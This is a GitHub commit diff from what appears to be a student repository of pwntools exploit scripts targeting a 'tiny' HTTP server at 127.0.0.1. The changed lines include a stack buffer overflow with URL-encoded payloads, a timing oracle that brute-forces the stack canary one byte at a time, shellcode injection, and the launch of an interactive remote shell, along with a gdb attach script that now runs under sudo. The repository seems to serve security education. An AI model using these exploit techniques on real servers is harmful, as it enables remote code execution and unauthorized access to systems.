Skip to content

Commit 9c99e37

Browse files
committed
cleaned repo
1 parent 4c7adf7 commit 9c99e37

File tree

11 files changed

+32
-548
lines changed

11 files changed

+32
-548
lines changed

debug.sh

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
gdb -x debugcmd.txt -p $(pgrep tiny)
1+
sudo -E gdb -x debugcmd.txt -p $(pgrep tiny)

expl_1996.py

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -22,13 +22,9 @@ def c(comment):
2222

2323
def run_expl():
2424
p = remote(ADDR, PORT)
25-
# p.clean()
26-
2725
e = ELF(local_file)
2826
context.binary = e
2927
context.log_level = "info"
30-
# libc = e.libc
31-
# libc.address = libc_base
3228

3329
shellcode_payload = f"""
3430
@@ -112,7 +108,10 @@ def run_expl():
112108

113109
try:
114110
success_marker = p.recvuntil(b'unimib24', timeout=1)
115-
print("remote shell started! type a command")
111+
print("-------------------")
112+
print("started remote shell")
113+
print("type a command")
114+
print("-------------------")
116115
p.interactive()
117116
except:
118117
print("exploitation failed")

expl_all.py

Lines changed: 6 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -50,13 +50,11 @@ def run_expl(payload, padding=PADDING_SIZE, log=True):
5050
expl = b''
5151
expl += b'a'*padding
5252
expl += payload
53-
5453
#url encode all the bytes that would block the http parser
5554
expl = expl.replace(b'%', b'%25')
5655
expl = expl.replace(b'?', b'%3f')
5756
for i in range(0x21):
5857
expl = expl.replace(bytes([i]), f'%{i:02X}'.encode())
59-
6058
http_req = package_http_request(expl)
6159
if log:
6260
print("sending these request bytes:")
@@ -66,10 +64,14 @@ def run_expl(payload, padding=PADDING_SIZE, log=True):
6664

6765

6866
def run_expl_timer(expl):
67+
"""Run the given exploit, and measure the server response time
68+
69+
The exploit must cause a "File not found response"
70+
This function will measure the time between the last
71+
bytes sent and the EOF sent by the server.
72+
"""
6973
p = run_expl(expl, log=False)
7074
out = p.recvuntil(b'File not found')
71-
#measure the time the server takes
72-
#to close the socket as an oracle
7375
start = time.perf_counter()
7476
end = 0
7577
try:
@@ -113,10 +115,6 @@ def is_outlier(x):
113115

114116
return is_outlier
115117

116-
def c(comment):
117-
"""this is just a dummy function to insert comments in the asm string"""
118-
return ""
119-
120118

121119
def main():
122120
context.log_level = "warn"

expl_canary.py

Lines changed: 21 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -6,16 +6,16 @@
66

77
context.terminal = ['tmux', 'splitw', '-h']
88

9+
local_file = './tiny.canary' # only canary protection
910
ADDR = "127.0.0.1"
1011
PORT = 9999
11-
local_file = './tiny.canary' # only canary protection
12+
#these values won't be leaked or bruteforced
13+
#if they are manually set here
14+
CANARY_BYTES = b''
1215

1316
e = ELF(local_file)
1417
context.binary = e
1518
context.log_level = "info"
16-
# libc = e.libc
17-
# libc.address = libc_base
18-
1919

2020
def package_http_request(path):
2121
"""Craft the bytes for a valid HTTP/1.1 GET request containing our payload """
@@ -30,17 +30,15 @@ def package_http_request(path):
3030
def run_expl(payload, log=True):
3131
p = remote(ADDR, PORT)
3232
# buffer overflow
33-
padding_size = 0x220 # tiny with canary
33+
padding_size = 0x220
3434
expl = b''
3535
expl += b'a'*(padding_size-8) #8 is the canary size
3636
expl += payload
37-
3837
#url encode all the bytes that would block the http parser
3938
expl = expl.replace(b'%', b'%25')
4039
expl = expl.replace(b'?', b'%3f')
4140
for i in range(0x21):
4241
expl = expl.replace(bytes([i]), f'%{i:02X}'.encode())
43-
4442
http_req = package_http_request(expl)
4543
if log:
4644
print("sending these request bytes:")
@@ -50,10 +48,14 @@ def run_expl(payload, log=True):
5048

5149

5250
def run_expl_timer(expl):
51+
"""Run the given exploit, and measure the server response time
52+
53+
The exploit must cause a "File not found response"
54+
This function will measure the time between the last
55+
bytes sent and the EOF sent by the server.
56+
"""
5357
p = run_expl(expl, log=False)
5458
out = p.recvuntil(b'File not found')
55-
#measure the time the server takes
56-
#to close the socket as an oracle
5759
start = time.perf_counter()
5860
end = 0
5961
try:
@@ -105,13 +107,16 @@ def c(comment):
105107

106108
def main():
107109
context.log_level = "warn"
108-
test_sample_size = 10
109-
treshold = 50
110+
test_sample_size = 20
111+
treshold = 3
110112
expl = b'' #no exploit, the server should not crash
111-
crash_time_test = generate_crash_time_test(test_sample_size, expl, treshold)
112113

113114
#bruteforce the canary
114115
canary_bytes = b''
116+
if len(CANARY_BYTES):
117+
canary_bytes = CANARY_BYTES
118+
else:
119+
crash_time_test = generate_crash_time_test(test_sample_size, expl, treshold)
115120

116121
while len(canary_bytes) < 8:
117122
for j in range(0xff+2):
@@ -205,7 +210,10 @@ def main():
205210

206211
try:
207212
success_marker = p.recvuntil(b'unimib24', timeout=1)
208-
print("remote shell started! type a command")
213+
print("-------------------")
214+
print("started remote shell")
215+
print("type a command")
216+
print("-------------------")
209217
p.interactive()
210218
except:
211219
print("exploitation failed")

tests/test

-16 KB
Binary file not shown.

tests/test.c

Lines changed: 0 additions & 78 deletions
This file was deleted.

tests/tiny

-1.11 MB
Binary file not shown.

0 commit comments

Comments
 (0)